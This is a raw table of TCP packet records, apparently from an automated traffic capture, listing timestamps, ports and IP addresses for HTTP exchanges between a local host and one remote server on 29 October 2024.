Oct 29, 2024 05:03:53.175031900 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.175060987 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175096035 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175103903 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.175128937 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175162077 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175190926 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.175194979 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175229073 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175236940 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.175262928 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175297022 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175338984 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.175352097 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175386906 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175419092 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175430059 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.175452948 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175460100 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.175487041 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175522089 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.175529003 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.177833080 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.226865053 CET	80	50076	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.230555058 CET	50076	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290153980 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290246964 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290298939 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290332079 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290378094 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290388107 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290431023 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290467024 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290482998 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290502071 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290550947 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290551901 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290586948 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290621042 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290668964 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290672064 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290721893 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290755987 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290766001 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290806055 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290808916 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290860891 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290910959 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290944099 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.290960073 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.290998936 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291030884 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291053057 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291065931 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291095018 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291095018 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291126966 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291171074 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291179895 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291213036 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291244984 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291255951 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291285992 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291295052 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291357040 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291389942 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291400909 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291440964 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291475058 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291488886 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291508913 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291555882 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291589975 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291601896 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291619062 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291632891 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291670084 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291719913 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291764021 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291769981 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291825056 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291857004 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291871071 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291901112 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.291908026 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291941881 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291975021 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.291987896 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292009115 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292058945 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292089939 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292092085 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292129993 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292134047 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292160988 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292201996 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292241096 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292243958 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292273998 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292284012 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292309046 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292354107 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292359114 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292409897 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292442083 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292458057 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292474985 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292511940 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292558908 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292562962 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292597055 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292629957 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292651892 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292671919 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292680025 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292715073 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292747021 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292758942 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292795897 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292829037 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292841911 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292865038 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292897940 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292931080 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.292938948 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.292964935 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293015003 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293016911 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293051004 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293056011 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293085098 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293128014 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293133974 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293168068 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293211937 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293219090 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293253899 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293304920 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293339014 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293349028 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293390036 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293422937 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293435097 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293456078 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293462992 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293489933 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293523073 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293531895 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293559074 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293591976 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293602943 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293627024 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293658972 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293692112 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293701887 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293725014 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293757915 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293768883 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293792009 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293800116 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293827057 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293859005 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293868065 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293893099 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293926001 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293940067 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.293961048 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.293994904 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294014931 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294028044 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294060946 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294095039 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294104099 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294126034 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294161081 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294168949 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294194937 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294204950 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294229984 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294262886 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294274092 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294298887 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294332027 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294342041 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294368029 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294400930 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294433117 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294442892 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294466972 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294500113 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294508934 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294533968 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294539928 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.294570923 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294599056 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.294614077 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.408896923 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.408967972 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409017086 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409022093 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409059048 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409104109 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409111977 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409147978 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409163952 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409198999 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409231901 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409243107 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409286976 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409324884 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409337997 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409389973 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409423113 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409455061 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409467936 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409485102 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409490108 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409535885 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409569025 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409578085 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409603119 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409661055 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409699917 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409703016 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409735918 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409765005 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409780025 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409800053 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409807920 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409835100 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409876108 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.409883976 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409918070 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409950018 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.409960032 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410001993 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410034895 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410078049 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410084009 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410116911 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410151958 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410159111 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410191059 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410202026 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410238981 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410280943 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410280943 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410315990 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410362005 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410368919 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410408020 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410459995 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410468102 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410509109 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410542965 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410583973 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410593987 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410626888 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410648108 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410662889 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410705090 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410712004 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410746098 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410774946 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410789967 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410824060 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410866976 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410873890 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410909891 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410943031 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.410950899 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.410975933 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411010027 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411045074 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411045074 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411078930 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411112070 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411123037 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411212921 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411212921 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411247969 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411297083 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411298990 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411361933 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411412954 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411446095 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411454916 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411494970 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411498070 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411531925 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411573887 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411581993 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411619902 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411657095 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411660910 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411690950 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411731958 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411741972 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411761045 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411803007 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411809921 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411843061 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411889076 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.411892891 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411926031 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.411974907 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412009001 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412017107 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412043095 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412091970 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412126064 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412142038 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412161112 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412193060 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412204027 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412226915 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412260056 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412291050 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412292957 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412328959 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412364006 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412370920 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412415981 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412448883 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412457943 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412482977 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412492037 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412518024 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412552118 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412564993 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412585974 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412614107 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412640095 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412646055 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412679911 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412713051 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412723064 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.412746906 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412779093 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.412811041 CET	50075	80	192.168.2.5	185.215.113.16
